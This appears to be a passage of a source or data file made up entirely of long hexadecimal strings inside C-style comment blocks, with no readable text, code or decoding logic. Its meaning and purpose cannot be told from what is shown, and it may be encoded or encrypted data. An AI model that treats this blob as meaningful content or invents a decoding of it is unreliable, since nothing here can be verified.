df05836581bb7e7e028c419da5c1d96acb614aa112c37670de244d5008d48545b39832f5ee12ff59aeeb0f3a882ba7d189b75d8e818a9a50478d414cbc3d607b9396960bd90247974b9d6fe0f40f6a87e2ff7e3e3448b17ca3aff205e349d601f906c84a083b5bcd059f837f37b85f5e0db12da6975083df2a7d5b1194aa575964792ad67334a30e750ad5fff976d0efe5a5755a05725577712b3d31a8f917e6dcfdec2dc34f91b0908f99e355db9b645a8dcc2f5fabe4c524da1aa4bdc1baa3d6e3221d64d20d404e01aa4b706124f6b371b1fd0d94212d48a0a345dc02aafbdda54a6718c8e24523bcba302712ddff6a039fdefc1dcaea2ed3a94a35d56b9ea061e78cc546b8957e6c85c1aeabc8e5a3e5c8ab8a9f9a703557cb357f77eb0b9a044118dbb666b2fa6335970a76adfc8562a83740b3706daf6b08de8c9c3c9763ede8f102bbcb2f1e595aaedefdc0a8bc4f097ddc9ebbdf5d2b0f7bf6041208b502f43927a9a3f73dc8c8f27dc7c74bb5d1823667a9de833dc9800840d970fe82b575f023ab43c2a0301ed6daeb5e52478732f2627ac5d4bccaa9f949c42974e1d718e069a12ae0f119b6db12ddc7842c227e1e02ab159ed5833b3cc4b60d986f2e42b2247bb8ddfcf9dc52141eaa5d013fbd39fb94a001992f90001ab7c9b52819cd07bca64805a10c38edff198f055961cf3f6685b6c1a96b70596d72168ae5f0a5608e6977c36016c9d7d2a5c263d78e8f484ccd0258e242ebdd8dd059c28c1ea2e409aa77e1a5d18e72af2c6826fb04532a73e8e33a13b1618665c08e9781a1e8c083c065f5d695796b364f78bf5a9dc14621631eb6890607dd9c795ab050efa085c439cd3524999a898f1deafafe78e7affe13751fedc90ea8d8bb0cbf8697c01ab3a0f976df8c14a4fee6b65ac8e7c4be74b74e84e2a0da127e7bad8ae05db745d03ed135cb9ae600801771874a2132d5dbb0ac42b2188a0984cdcd78f000115f4b1940310ab1b6a760926d6437db49fa1581560361a4a4c26a7b9444c397a69a07949f7dffa17d2b44f4d55eb26e058098c41a5096166f711d0cf87606690b1c965fc164e5b398115aabdfd5c1bd496155cc629f06e7ed632b7530314cf9b366ead30681eefb1a1adccec0f028029*/
/*cec8db6069c8c81cc9f85a64eeb6b9dbbefdda4936c1572bfac2a5cb1d241e27b890717fb2b7539daf4a64ca08bd205e2989c11e3673614bdced60fa8dfed6aa6fc598138a6b5a461026fd58a08362a40fcd6513b6563742f27dc1f7f9be63890eae25b50f3d81b87263cdde3d3d00e69432ccc88a10d54d7540ebc8b3c9c2d92cd322cc536dc4fcf34758775435f706fd89dd13b7ebbda0e2f6598a2d3715c1177cd38ce123d05daed3b7022dc230fcaa3c95004dc83757e87de6affbf78d2a30a3310c90389029684df30f0239a578c1dffc789ad91a645e609168fc2bb4b85f141ecc86f2fa9791d4c9539924a743279b942fdefaf10af77b583e621392e09ac5faeefdc9c86d7507e8fff8182cb14e85cffa657fdd19ed0a0dfa1d04786ade8ba63afc44bd1ef5b050a00eb0a37cb793015fef02b0114cba5234cae25511377a9015300dc75648b980717c4745e429c980fcac004d8f76012626ee8893ec39cea1014190ac20db54875d9b725c904aa409b91bdb51b641962ba6f0174b3d3ad6c0f101dd4fd9b0144d3e322c6f058d9ead37a4f66f6fb80d1ab2c8073268d8c88de9dd45e65511af06d3e44a9cfd27649301c22a71e52c59bf648a34086f10869f46db6065cd0556771bffff33811bed0045051c57a0e7fa8c4c2e89daafefc9b363435584c83c1082667f2e90508cef31bd210376bccbeb736d6a78dc134b5e764cc87ca25106379bf9547de0463aa8f5685fcb551329e0e5b728d8d4534035690827a66dea1da15f9bef3f406102e33f3c201d085ce1df52629f40dbe07e52d1089f47e6cf509d9fc0d6db15ed7a61df4d46341f6b250663ad71e98031825b2860649323927f822b417a8da6a54d25a0f604e8e59d7827ccd712179db02c365c8d5f25782dea94125ae1f4c9ce375c23a9bd0eaa72b36d4ebcca02724e11e055639cc2492c5c51305e7db51a1b97c1e77f43296f242a01290e5064494b31ed10283bf47a9d5731ab75ea7e3cf1087817aa338be1e9553557bd578ea021abb5f97d3d93c3d6c60b42e9c06f09aa9ec098d17f527fb042424997b9b7edc2e46b21d4607a10366ce5ed0461329a87559ce10b9f1b543b53b3f6e879459702d5a80b95b07a88b37c2f76719f5051390cdbd70282a4d8d03889eb94a303e8fd3a45fe1df40905fd4d1e460271f0497a4b0faeb3e7544ba05fd11600ba597f231199d49a370b9dbc029fdd2eac4db82063ed9e043f69cc351dee732cf51aab7b729e78b2339f52178e4de3cc8ec8c0fb29ec678af2f1c27b610cd21dc54383e4451094cb5f922bd12279e419b194d2f025d8b209adaaf2a9904cf9aa92131eb6897f4577779b7d10b3552133c15ea24013ca76590269e57fc53ab9d7cb39a9d5da07ab697eb3d84ef401e7f034acd5ad7b1cc62dbb425d7e16a4bf439d01b702f820c871956728a5216d9f194700d521f60a08d6a2684c7e4d0cff80251aa247b6bcf4bcdbbb4ff0cf91317bd4e6a97cbc337de3a5b143866643a4879ad9411a330760a2cef05347819cefd09999e6ef787769d80e30ed98ae5687456f7c2b01a205d12308451b9cdf8267cd3fc0f55873e145f81f45e8060b4348e7dc0c1b92a10fa870146566b035bc492652aa44d8d8692e5c053ca5876518350a47a7c2c8a0e55d40d98386fd0a1814157e682130ea0be10d2661439481b002516d8967ab4eea120281df99123bdefe0d840715e3bb9eb4afca1a40f6f6fa1d66843cee728e905d3669bcf2e820cf240eccbd75d6000d118f398067828293e5070feed0e35deccf2a309e9258c9f92b01d429ed0552f75cecb915fd7bec54d5f542a9035f09bfa1d64d66ec77d088cd2aa221c8163f0eb12932e4fd022e248bdcb286fcc6b3cdaf98e3fe753415b3c947078bc709b27a6f9c2f39cd9d9b0edcf22e4a98a7fc398ae7294096fa7c19f6d62aa859660e4def7014387d8337160cfb60e1e30182ab1957f3701af44f37b599e7c588622acc744d6eae087e22befba37364bdde42f5d91f925766bb524cce25ecf8d27eacb1404a564c4366d06c5d2e603d48286dadfd720369576003ddca4c578ff1387c46b67aabbe7929a82263e4e1caf3a21873b642a42b39f2610f39d334b863e2747446529265d18a68b134da9c4b8e8522714fdde8c3d55d2377866924577720fe9d7aca55f1b3bc3f0dca61cd2e2c6bfd9b53a2a500b6fa5b22d3eabb1669cae0a6d8b52b546f6f24cb140e87b2eebef2c64bc99b3533010b0a902fc22e21861e96bc7446fd8b3f4ea6b23c4f043d98cd7b74dd714868f815b8f02114aad90b53cbcaa2c080825a57ce3d51a19a05f5bc8a0464a0db29e182c0f282345d322c4118abd5743e4aa8843448530e27303ebd9b6796037424f3dbac2f2c6a229e5c098ef9abd1641868a5826014c4f82f8f505f51c87d5a2edc4afcb24fa87dc80cd1d1f2a071b6929a99333b424524d9db37fead4595c23fa3f23d6558a52ef12f6a31ec9356e740130093f431bbb86a977392df8e5d792108bd9c6913cde71fbdc19904c3ee5d4fc83bf51de04b83e3999c13fb4b032c75e8ad49a7ec7de95de613d0bdad1b54d2426f62cdacac08e5a8ec38395b6f955e09b656dc62c146ea0f14d359da661754944ca581568621f65b5e75fa511a1dae3bdfacb2dab7a6b88af5cb9e70c7bd1265ef8f59c6f3980a4715349b938a7bda54cd3d261c95b9b567ac81a119561e3d38f4413f92c239eebada61cb26e002db6807f31ca5657045aa34aee10799b833f350e57cda03a4d0ed8d246859f25b146452bed66800ffdb32*/
/*670a687aceeeb27d70004ade49b510fcf406c40bf0e399f40fde545d303c938e6d30233b968034e0bd53ce3b2ecf0917b1c7f288c51b901824cf466a1b0c8dca4eaeb13d64996dc0acb3d46d98439927d6ee3e3f4b01817de5f7684ce840cbdff27ce2fe733d715fface2bcdccd90c519b9837522d574a65b248b367fa17fa8ac7229e37c6f67ae44ccecd25ac2700131380198f9860830f10d02995fe3c851a7058fc7929be67632540adb66a02f2367349398a7766fb528103941aad7cb8628149850231fd74a50ed4d6c18da5e9192b7b735df0f4b105e17a43a987a38e2757ae8b8cc5d958b8852632c7e617f2035c1dd95185d4dfa93410b80b46023c7dad0c163b2dee7aae9a3996f2565230e3826b4ec4ab580574814ef5cbd33dfc7ad73ac86e17d577526831cf5e100e66c35e1b04844a9b22c462073a7dd4573a2f55ce8a219bb7363d748b207e05492d061e0f369aed8fa870bfff77595a994b53b9d6b9d7c8c599e9e3c7fa9b0284acace6e97115f732b0365aa0e00c6236ed77473f37c3f042e677c8e28ca01a59321d29ab05b16a99c37d490280fb8c5dad08975e4328b05caa7f5b3cd356b058804b826ab4c073d2073e153769c14477bf59d5015ec30ddd1e011a85cf88cd0938bedebaa865949db1504785af3eaf679b41a49e2e5895ca5ba4df2c5f44169f0504aa67d98597f0dc839cacc54a46572575a0e3c4a73a4291d0ded0aea3ac432ad3c5a1149493cad5c0584665d9cee4d19556b42cc7d5b7ac87bd8b9762fc5591c0489c8bf17b6a0bca0c0c747e534240f3fccaa15713e04492427062032a96d4ab76187c0cb2c15c2dabe3445627324c063300c77c1b87f2fd914a46fdf39318177c8b9f2c858870e47001552d2c08cf02fd9fa0aaad6d45d17fef540268e47ac7420ba0b5e1277ef20f2708f6d9918660fea1088609613bcf69f463b84eb47568e933ecf4646630039a217d6ce084b92c62415934b6a4b0a60e8ffc212761e3b9e07fe33a58bf18b6e7992ff9f947cef31dc155f54f0ab801a02e89bed781767ebda9207827e7956682f2086582cd92db5b0cebf8b380a7e2a1a0e64525f97e1057dea8576de7d0770fdb2da248820b621fb71a275b8b42b8ea50bc69774cd6475606a9746a993bf152ab04405735b6fba3e26efe9fc6aac9924899ac52cb3af9ede0007d4c2cd807ade51a3d32bd8bd43190aebc869b4548f847cab4055245ee2a201eb2a0e33647554bf329e5ee6b39adadeb882e53eafdf603b29dac943468b76173a1da054d525ee2d577257a7d13980090e3c0361a8dbbd24c0dfff2f6922a5a9328f09dacc3bd1b8184583280a2376dafa2b8a3355e69f8864ecbfd1a3d43494824859d7a16f7e78f522194b332983b52035245a1c84c133f6876e6e8e9c2d3d7a784f26453b9535fba9de4aa6ef2c937399c70d0cd70b3c1c96ccb95c5c0b84ecac842ac455d2140d77c434681e3ab24d3797d472adc5d114120737a46dcaf898165014eb2f9ebff8052e28a8f2c941378cae9ff8933c191a03d7cb1334677c9cc568c4bbc7ac85dc266d3f4e87532506d51a416cc64496b5e0e563a5c3cafda6f41e81505fcd5e332923c2ab9aacbc9f76d1cef86afff6ecfbb1877234d0aee61eb00ea07caef66224adec4f86a9fd14ef2524b43b22537d2857466efd7bcb0bbde3ef7b51bca4727569ea9647624054df9bf2a5d7280efad454bf971355af85fe845bb7aca23cadbc3afc90dbc2162bd19ce87cf4276099e0d69c9a9d18af299ea635d24a453170cd7d89fd6e25c9d6395957fcc137ac26af7666c4d5f828ee83f71ef643503703a12aa8e9e64bb744c092e7b7203d3cd896c5852bba755160a3a1d136da737f1285480a28564e0017a61e16da73f5bf2b52de738bcb1b44e91f9c8c7aebd003875a2832f672b7b1d117df970744d237d2481f60690522597cbc07993fb0d478f29585a185353d4e620a3bd18e5454ec7b5150e63c09fda1f81982c0bfe8a3e4619f6cdd2816147a7c97f72b8860e760ed02fb6fc4c6673f1393a48262c827ad00f279be420398ccf17efb79fe030727e6c65a5b7589971f14402c6a8dc270c13b7fd307233d95f2e44101c6ee6dcf13f60be7f6156d76f97930e31f10329c3a679530d501347dc213365dff5ce3c734318293351c814f57b9982a41b1699fe8d3fdf0170cdd64cecb65861c21121e839b403774045e86ce448dce65e038f02c86cbf741420d0f74c62750702a8d8ebcf961d22bf0111b92b46fa73815bc731487aa9d3d9d810a851afa22d7501dd6ff9f52da1925435068ce6dd97cc6dde15f948c5199ce62b050b763418fe66d82499fe7e261926267a7316cdcd1c05215892328e8a92d20836d5ac09d4395876db1fc4fecafcd6e31e1f81f75219ec15cd859a00ab235d46b7f2f51c5b9532672c7f3d67376aaa6012cde9025b6fe139d8eb9702816c22ccfe9d5c829617e91987a659bdc7c1a4b0e11bfecb74e7d7b346032e7fbd452bd3a490a820d8261794b2977b1f610a3b6e3feb1718231792d4a7adc57d2982e45c15d6bcc216b201d2321b7cb34b42f9ffca2455cf54a94284e605f917ab70cdc1f19d1d3efe8e91040d19fa4c43899d18c1f54866da781995ace507d3781ff1ba7feaa1a143bfc29b2d04083217b68c95660c94d29021adfca9a3db16548a1e3d0615d77f789ebc121e375401e98be0a684f02f8822f719e0a6d81e3cef9f2f8f6e25dbfb14dc62d4d64282be19d909738757b3eadf0da7cb455c6c84749c344f433e0019328e92283e9ec97ab96a4f*/
/*d77caa6201a5d141dc278de71c5d82b70d2113f6203d134dcbd7ac474740c62aca90404eca03a6703fefcc6afb4e39ed990766b563ed9db2f89e3ce1c038fa06b1ec51e8a4c68ad55288fd420b5faf280a97d71a2fa5aec143411762d2c49817c53e7f8786bd70528189561711c44694a6452f3211a08e2181c1bff84dc72c28ddcd9d1abd76fab440a1a585d0a4855d6233758d0303d3c3f7a80582930d385c0d9bea8fb48153700c0f19bb884b54c813cffd1a0060ae63017dc46a9bbf6577e1440e85bde635f3e39b9fe21cfc4558b599da5fe332d315a37489bc4ecee90fb26dbbe9d1199b2c60ba39101653e124a9dd405f6f83f4aba2a84ebe1704ee2179ba11a52cafe9b4e8d3dfca4fcc85a33e8ed88417bd9d73b7f2f51a8ed6b757810487bf47dc1ee0758db919bbf5e4e6e02f1313407fb1b39e14739953c1b67287100a6b44d2bec6f050586350341b8c65f097fd77118e5b89759af2e4b6c0dd4fdd5f96716579a239de6c021675d71f05d161a9b2e6a492ad0d45dcb509f8023528e4e77925f076e2a39b5c4b8a1f17f49230ccc212cca788eab6117a09cac10a1d1ea6a4b74d0ba7cf2aa37d8d2f5223d099f7951fafc3fca43f2f05856e9d314f5b3ab124bad324c10128db53a17baf92883c56b4cbb234762c8113021dbebe1562792b8fe9b5af619224609d44c4d4d15d2cfa87c8895da38bd7c6b8b50272e0ca7f994b657c05a37a925a1cecffdbb09122d5240134b283eff64c0fcd578ba22920302d2d7ee61ab73c8230681310502e98af5e7ff109b944f15ba90a22225f5f7e24349d3d38281a78f04edf53f431ed1eb9a4e922def9f7aa22b54aaa51c9c0fc22364a4c4c6716826a9e1b415333d9515a678d2d4d45146aa33b903266c9c68312dd8ab8fcd1790570965fcb6b2a7ef203034700c5d29af974da326499a445fb1dcf3da267d257ed56d93b07073c890000682460b3b2f4d40c90baf655ea28f464f6c5cd52261435cea469db3eb13ee85a8a82843216ff7b7dbaa08601842856f18bb7ea7b47f356db142cf859a2c665c700496d5c3bfd35ba09eb9a37007363383aa8acb49b1f684150a415d66dfb42dbb2ee149ddf5ad5ef7e85c3665f296c006fe80063077fda9a7dadad3986772deea0b667edfed9e4cdf15019f34c16eeff35ea867cf3446e052e547b74cece6ab496fed311f9f209b350115e0cdf610866f1ddc8c949689386e69aea15cba82d6ed19c814eddd50e14ec183fb3aed6034ef6fcd83c9b80ffc812463111d5f33ee881857fee4c6b37209a202a9c859b9587739472fce79df0b197e6923743493a518da8079cb97c3d982ee33d5cc1ccf2db936feee37ddb8431aa80b192260cf800fd13da892ccda3552e5eb316a093c3a4b7032eba32cf28636db7ddcd60b761defe0d8d090a090889e63f00e409246150fd60ec8a4498322435f8890c03f6b0803f9bc233aa0eba3b6e36f813fac3102beaceecc6b60c87ade277965a81c99b01743a167d62df8d2c1d3eb4f57551992084dc87e15e23d0190c4fafd73b7b793da612589f9a118464dea6af873914478555c46c4030c829b6565cf82d46cabb205b67179a1ce3971e877b9f34cf574bdbc3a2e707a389a8e8470db033f851073cffb2fb653c6ae34741e39843c2a6fb5ce1cae3753a5ddbdb5f3a7ed8ca6f9c3d6415219ab91822073c2e39fc5f1f6b1792eaf1bee51cf7b40e48dda8f6e620dcac2ed9b105bcb8c65ae760386c15f9d42bb58bd802ee48a7016fd3e3ff53c30d6f2361a4dfd04073a94413811954c1b7ddd527a145e677e37a7cb9d87e7daa312f5b269afd8f3dce2a0d3bb6c3900d4392328ba818e89c6a5650f2629bc6553ed6da768b42597267403fba0968f7388cc61802aaed1c0313fd5acc3a7fc3bd03718b5d53e5e881e191825b42578c032b26abe4a26d441bd13e9b45ada797897302ea463492c6723eb882da827f2664cb9311cf80520bd09d3c220e0eedaf729d753f35b12a02112bcfd016348d148e005fd73569ec66536a40b37487134866daa1b9873396b40f3d50331a7a3cdf63617c63b8f182f564201a038da8bb62006f7165ef8e322c4c29665fe27ce7426019cce1fd518d55e92f558d76daa0c162f548187f88aa5ec8708938867ba22bb4bcb5083c7fcda85d78c26113c856abdc76c5fc5c718137a161faa508a87d9f915189055cc9d2a64123731f4354638f7d8b0e360c41d63e9413a58ab09bed2e943ddf7031f0766638b3d13d35cc7dce789f3781f3dd550a1bb7c8f4b767e64702bde5c9c0dffc274352097c7c6483559c1bd20fe1c50f6b6c49858f5ee0a5f90cb93f1e191295f0d7a3462fc8ac8eb552c9292ca54460ad6009a491a712624c4cd9bf9b853e2e522a892f8ec3590709927274902c4c0ee3a4a0a93fcf1c809c3e1350a6c24f47077c6ac30a51e9acb6fb77138b74920bca1a93fb89e193f743690c5036ae31f1d85562e8e8b24b735f959f07c336c2cb952c494c45400d75b40f39334ef61b6e80bf094036e6cc6b550a30086da4116abd0e9d9c54f571da9dd8adaccd82aca2e72c4e1b38d5996f3858ccd052915e3958f704e9618e2a2a33cd7ca6bec43be5d8dc60a1b2a84c1a5c67ecdb4640215309a13b3d7d106feff72efa4153a2562331f0fbf0189a8b28ce09504ef16fd73dfcca47c22e3f373ed37081bd93790bc522aa2aa7deb4e7283eaea8945e8fc7a8572aae023abc98d427e0aba6d810136830f69af9ff7548817e4892f766969ae04f364616496b120dd9737632e4636c6625698fd317a5*/
/*c4b66165c47760be32f9aad8a163b7b1e5475930c3aa9ebb9e10046acd2b35f08dc7c8cb7dda2abb4bfbee5a65c2d93fe8e244b3c74d1e1d77191e24e44363dd5d471932a3beceb3a14cf5406e994be1e4a97bfc0db0c71a074d81489a75f1b054fd20f0bfb89c636e04e7d4a18359c528222811ef76093f712144ab92101ca08db28dea2cb22214ce37a40ee26d31ff4e1e59042bbd0dc298a1e60dce2503323a4e243931630f67865137b523122b1af4f65ca4eb15a7aea4fd1d3f75bd9d2d0248fade28bd82ed7f81f0346235d8d94b8c825817d9598153a7194436f24ac3e98daccc01c1a2b34ec64a36caa7fd48fa14283d42d924903a38c527b47a14c9d65d61869a9ba97649c3445033d0ec46854973eed279eea49465b96f4f59d7cc4ca9aa328dd8003b66dcf293fac77f6662cf30cca5cec9f389ca660066df7d8db4e1fbca9d2a41952ff8c5d9e466e3c0404a1ddd95ef5c3cac89f77bf8844d4ec1b3f05880561317d14c1a8b29f6f6c195275d621d3311e89d1365712ce4d1bf4b4365fc5a19fb74f51ecdf66719f323c04c9a57e225a9d7c9d1b92747ee0c54024c04109cc86bc298cafcfbb2d98a71d1cd3df40b823017b4202b78e3c3220e660c27f34172858ef4a2418c2d6f7c02f5f3dd68c3fac0537558c807bf8e94693973ec5397cffe0b0f918a4e4b3b93b7fd6bd67858c2dc54dfa1d526c4e2f99e11f9ec6b0032b4d17c4daf2de0b8964726e8b19467fcb0aa1b6a3f402c36546a372b28c332885e775b92ef3bfa09d780bb4b7313ce27ba2c177c491bb77dac8b34ad551ca49a69398fafc664cc3696adbd2ea702caf56f67ce20aea74f3486c03a3da17f3fb73463cd94ab982b10ff9e4f4906c8127dba80b98ba252abf1f4027f628932a3d9911ccb57b50807832972348c647b82e646a8f9841b0e8541d65f57b727a8964273c2b454c436ce27077339144ed3c692f1a38f4adb4f8978fe6781047b8a2b938526697c3c38b862d5e4aac627a0c7afa3f0e70c3d66aa80717b86fc6bfc564192d56fcb4b1870e0203edd71632f078e0bfab9516452b36d7f07abe91d4c9e678a9623988d7cf7abe4c71a6ed6f0c348723c7efa4b51649a699245356d46326500410eb4b312ebe0f875b707ef4ce1bd26302af81a079be3bdec022ce9316613ec8013735fd7b5f3d87bba4a399e0091ae91f80db97338ea0c6e79ecfe1f8d6ae560576de36f6238f574930367e64fbd4cdeb58ef875fd14e00683f325b625bfb49d0e86b761b72b07b47fc73203e21edfa87d083ecdd98a0639814136c856fd319581cf8965b8c22ded8ef4df3878cfba8f62691702c5edd2011d72dec433526221929b6bc096d54a4b0f55c3765652dbb61c349ba53ded33b39c3ee0c79749320a36b8232f87008bf438780c13ea5fc19d16b3ef91d9aeb9a8d977cc226316a7fd22b0fb143963db0e8579de152b820cecdd6a05469688b09d544b585773678af38d79c7ab0a61c8946f1a37f017bc38144d6a8bcdec0baa535a311c5650cd2fd794f1f53cf8614c73c8de8773410d99361abe3cde73a32dac02fa3bc22407d822b981e4b67ede0a6e5ad32bb1da05ddb65cee81b4406fb4cf64db94b58dbb24af61571e48e838ba4b86740335775252e3bf804e30b61daed8fb8f9cc7cea75e363577a196beedee140f4569a25308c779fa62ebe71accc44a2463a865063771f0442cd548e9544ad80c2e628a295d5a7058e374d227d270470827af98d9f83bc48f78edaa745e58779be14351e843a26a552c1ca836902108d11cee93c14674bb269135bd967cc80484086bbf91d1dc4c13ce492819a9dc55e023df1337b3b508d56f218d161747f2ef5a541f36327d6367720db1b1ffab3b4bb65531e96b534f7a53329d1f7e1394ffe3c1dc9ca37d489331c357b4881f96570f17a9c50280e9f5f07412a0f37f348aac86819bc404a1f78791d0711f1e8bd0fba2a06917bf5f0ac1cd98dbaff323b277c3ccd958047375c97b7e0a63c94ab38741220078c3dfb1e77f5186b40169fe51272b285c7d901b62d66e0b59a32acd6d911ef65e152c9b1a7f6058f61048fad3185c046d5405de64a1731880c95af6f10d03516e525fa53274cd6827c3d8261580ba649a26e2339071567a2620277e82fe3f743275df032cf2740d782e25d4c3753a812edd2c6952f3a53947d6dac89319a2dbdec92d3d21c13adcf63e67c963cd20b171437f0255c1fcd57fde037fdde5578c784f54a8b09f668b9c061f79d09c78808f4936363f28af453dbd5a951c9ae070bf37fb3a0f1695b483efb0c22ca31401bd98adac910f923cc79ad6748d1408f1b9b3d5957bed9cf3a0395649bb5357109698bdc6367c4fa8b7452f4908af9763c58143b81ea634414ba78407ad594f5552798a5bc83462d5c1e042a8714a3b4975925f2b67df0c07cd042d6f486ef5bbe19137a45c088360a0ff19eadff4083a9eb9d9ccc38f1dba46fb841979d06140816b53c20055debcccd2100f3f0d94059270e51239fc57a814a90a3bae4f7e5e488aca2eea8f1d45f88446324dc07f3b7a05f96b87c2b7b2bd5035ecc2ff14e66232994520597afb6534df17db0e72167b88589a4f118ccb0e989884a0c03fb12905667f5e2e445e3004c6b0df3818570857acc150678bec979b09c983ef774d86ddc27e83b6c3a7b69ba9d0f76805149620b813256e13844d1f749020d16f7f8c55ba5992c06065dd575b47fc06d30d02d7c29cb730f510042e33bbd42ddf4bcc3ff3cf5747b322049894366ac843232b659123f86c5528d857ef*/
/*36339cfdf41243907f7a29c0037182de00c9e5ac715a414a6228ed0b2a2a18a92c103704ea2a1d777e9f94fc6fcd1080abf087c4915ef5e6d4c32249825b6a255e33954e1ccdd7f479ec5f0acd4eeb3ced735c53f502f2dc9c7c311c420dee6ed995105cbddad96a250818b7309d135af6365109b81149cae54b03cfe3680066c1b35b20a4beb744b6553ee3336026ae9fdaf72f276b64d49904ffd7b77f97770cff5ef12f61150197f99388a0de6337d2e5f3252e6142e5181b637d3f842f5d29e007e8c77f5a6cf09accc273a33749907ed961ef4eb9fa2e15878ff0c3b5c8049204a2b11f4913a8c7826a947d5dc89e18daadaaa9cfeaafa4809ba14332a9ab1b30d3a70748df6bbc4e6939f7723d643e1e8c97c6952cc69c8b1ccc2fae4a6bbce2561ac381d45eec1426c257e0f2dfd5d93136b308447aed5f63f0d7b59d075e33cfdbdbad634708b2fe8b8fc41a86f6f9c1b6d03f579bfe299a4297ef51bb6fa10011d55851e532a4294875a41180f7124b04aa029834cea2965765ff231c03eaaea070a9384fc0fe743aa6c6804eb9927ea4b61777cb372663866ef5eb40521959917e76a8d7df1d2000f5a8176fbf865e440d2bc2d756d95869ce94279a0a5f9c8532300cd73314c75614a1b5cd99e191b0ea17a7bf27407840ee816f569809db9cc70f6a274e6aa9177c120a0d28473a8ce1ba23d8031162c1877e9616dc60c1b34f91cad10c4a149e2face5dfbd48c77018e8d2179b2248691692a41a5047bc9cc17f20be842ebcf41d62049c072760b220bcefa3cfdb0f044f688372d4f2911feae2f7cee2ca4bdc39f6399fd77ac079a5ae7536736bcf0558e67e6a9c112b1a0cb2153618779a1d151942b6364ea7720d54b7a6614868f438b85ff968e13d2fa0d3be68b1fc4672d2ea9a7a75f1f99a22c11dd4c6b010cdea9671116e26572e2183b1c637bfcb81190204ab91fa59aa4f2b60d1ffe545108a182912870f4699b7e3e042f34bbf36f1e4b87ad9bf496fd1bb52f6beaa19c8610a7b57f6c581b5d1ecc63b60119b892bb7a7560b005a4da6c1c13bc2e87009729b4bd82798ec8173a492ddf3610d40687c575025cf76338b288486f9405b0502071b82be12a915039c00286d32e71a9679a369a23858ea15a57434018d7fb828e84eb35f732bcaf899e665d7294829ab7bb26bf4d0857990161b2580828bfc5295d9b7a52749a5afafc914f3dcd19b9bc288936c908b926787318f03cd8970ce9cd32c3f8953f402319201278381f79697947f4a1e9c89b958b3f252be3f645dd68b1d64909c24d554442ad0b43ad45e9b6575b86108e8930ecf4fc7d6e52fe93932e3aa241dac4ac05c3d25d329ed109c157439b85cb64294039c3af13cba5ba8ad80a60974c23c93ad71839cf4967f44e42a15b4db63609ad6ad2e8cc377e8d18a2778b6187c0dd3d322f9e358b91f2dc725c07e9b1d730d1ad35d32d74b7bbb95ee1830db9edad8067a15e21afb3052533fe12b1d8d642dcd1223032800bdc03219a1a4b81711e2df3a31b6decb7e222da267669acd16cfb98ce010b75d6dce54980b5dc7cf308e04d3e8e8874099e1b7e8f5f5352e3b3286f3c4a78026317bafb3e7015a358138018cc7853a0e5c9efd8eeefe5a2589e8ebb2dc326bec83856be5972cf3e762a2c6c124d30ece2cdcf14ade0e01586f9f89f30a8b4b31b1fac011180663d4a239c10294e8f81bfa7b632c81cdce04d45f9fb7f6ddc3aad920141f861ad44af7cd79aadf4d997d716a52522bcb9d226103108c140d358602900b4659a20688d30258326dbeed1c38528b73ad09564b04e475a39f1e55cf0c387a80236a25e069560965a1f7dfb8b3fbeb189b571955a8fb489c6b66e2391b21dc846dca54d605dd50105c1c1fee969497ac0099735970b98f7bc7383e8dd80edceb22e5b26b7df4f514d372be03f4247debf4194787b291d2c63622c45a1c87e773b7a53b9cd1e9096b06c1639f196bff182a586ee6d1e38b72680aa4e3e35859be9714f5ddbf754154e1c41da692a6127a6a172c9675ee59856c56492d5fa587daf942e0be6461798de4ba9fac42bea9abb8181b149063a1cb9ab6d0c35839bcfe5ab36c12bd455235411c4431523299061a62afe6f434e8dd8470e2ce344142cf6ddf0234c5ca69fdc2106aef018f402cde557f74b62033252afff6d9369a794197061a486b4d437c3a7de5f62828bccf849a2790498733ff21f0887ea7447d00d2d7d589ce13956b26fa6ef551f220b9097e70b0da64fe7585df8883e9273cbc634cc3d2bb79b08c9e7dcaa707eaba614ae2237930c2021160524a34846b71e508c54d1e754f7e2df5f220790589026e4258d58bfd30a22310cfbb58922a067b1f003f3f0d47896fef7178c5c478c0e7c066820a3c656631ef01a20e1cb0868e76deb42cc879ce835c1098565bb54b818d978d59056db553a76a07900a2c79bea72faead3cecdcd03df2df3b201c878150e1d3ab6c1a4e942cb66abf5ef91c662b725e58ca88d9f32c0bffd69c2fdb214d2edb149d65b090afdef4457db5b11203cd5212c82242aaa43a3b8eecfb9e46871b872668c62ea89ad1e847d4ea907a6cacc6731c4bcd28fff60320c94b2110a2d1a42e5fea2b4435da0420972c36f4e256c85b60ca98faeef6dfc32b49df03f1413ed070db144f227c658a3535a97a2dc1abb0749009c333a90640197af89dcae40b7e4419e311d62948c409b5de3abee390d7fdfccb995a4524590b33fb330e62007a087bda92ef45fddcd6136eb12dc176d73593ef60154e71d3a55b36*/
/*684d7a667bf42db737c370c7a7d26fd92edcc89184d6e9d3ff449c1545896eb8f0ee0e1f89e04c98673b4592d7cf1f2859e70d12925a47b832cb62861509a34ae27f1f27b64bdf62232155f3d4e8f57d8171fea44dfb4690ea2d3f2f0b0b40a34e063eeadc10b8477075fbf33e76a708167cf965b9d9dff0096107417898b910399516559e707da8fccc9c02bab94fcda75b188dab042fe4b7d92bc766e9f7489135f3a79ba4e63016cee5bcce080c7ddf959bbda107e611255d41ef3f11e7726c6ef023766aa7fa844842d1bc9ae26beab0191d857bb4abcebfdbfda9adc23b8fa1d8707e731c9c36ce36aa985db22e35f6c9a92e148cd9b6ef643c0b505977112a8f04c8553ab66c77c22787847b7d274e7ad4a3a13749527c6edcbd0aa42165dd701f5c92e17dcf3984c8c319a88dbd26f6f1ad04b8aa968fc25ade13757647058aa25df2cc894cd10deda940c3fd42427d39b707c0e7be1f4ab6be7366796f631c4b480296487fd028696f2791ba6a2d281e7af88cbdd6a50413e89c6a7802d64c4b075b75059da1973d6fb3bb261610b0cb9154ad2a3039daefb7fcec46a0a1ede2b24984656cf380af312626b5bedf1c32b385cde70daf4f35288da1924706a54c36e5b819f32cd2d9c85320c94c0f8ac311cf41e69021c749300ba1e2ae82a19bd65b884e7295e6e519d6bc28f22a2e35960cfe64aa9c3453572c1b97cea4a82fdc5aa93d51116b65ca43af963f4e723bc9826446cbef7706995231e7d78b1f5efd835997be90b6c93824c9418ddcb56c10d17329e882564403f6c503a14b12c1b748d2e0188a689c5c2b5a5745323f953a170a6e6d3a7a68a0134be62212cc8cf68ec2ed5afe061be561c40f58a305807f787fb5b5d299ae3544bcc586fcc2260069115c64656cf3724e6c5ecf7fad646f6735f500682efc43e51b1756998c445a79d078214c2e382695f68a1a7e0785785ee50c030ea8eb54de91d47da73bb5406b3ade0383d295ac3b90e613b5f710bcee0b316faa079428e959318b124eb236aed71c55e9acc1d13e35cc0bf283cdcba0